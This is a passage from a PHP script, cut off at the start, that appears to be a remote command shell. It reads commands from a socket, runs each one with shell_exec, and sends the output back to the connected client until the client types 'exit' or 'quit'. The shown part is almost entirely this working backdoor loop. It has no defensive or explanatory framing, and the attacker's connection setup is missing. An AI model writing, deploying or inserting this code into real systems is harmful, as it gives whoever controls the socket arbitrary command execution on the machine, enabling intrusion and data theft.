");
while (true) {
    $input = socket_read($client, 2048);
    if ($input === false) {
        break;
    }
    $input = trim($input);
    if ($input == 'exit' || $input == 'quit') {
        socket_write($client, "Goodbye!\n");
        break;
    }
    $output = shell_exec($input . " 2>&1");
    if ($output === null || $output === '') {
        $output = "Command executed (no output)\n";
    }
    socket_write($client, $output . "\n> ");
}
socket_close($client);
socket_close($sock);
echo "[+] Connection closed.\n";
?>